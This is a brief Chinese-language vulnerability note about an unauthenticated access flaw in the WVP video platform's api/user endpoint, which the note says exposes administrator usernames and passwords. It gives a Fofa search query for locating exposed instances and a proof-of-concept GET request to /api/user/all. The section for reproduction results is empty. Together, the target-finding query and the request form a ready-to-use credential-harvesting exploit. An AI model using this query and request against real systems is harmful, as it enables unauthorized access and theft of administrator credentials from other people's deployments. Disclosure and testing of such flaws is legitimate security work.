漏洞描述：

WVP视频平台api/user存在未授权访问漏洞，攻击者可利用漏洞获取当前系统管理员用户名及密码进行登录系统。

搜索语法:

Fofa-Query: body="国标28181"

漏洞详情：

1.WVP视频平台。

2.POC:

GET /api/user/all HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json

3.漏洞复现结果。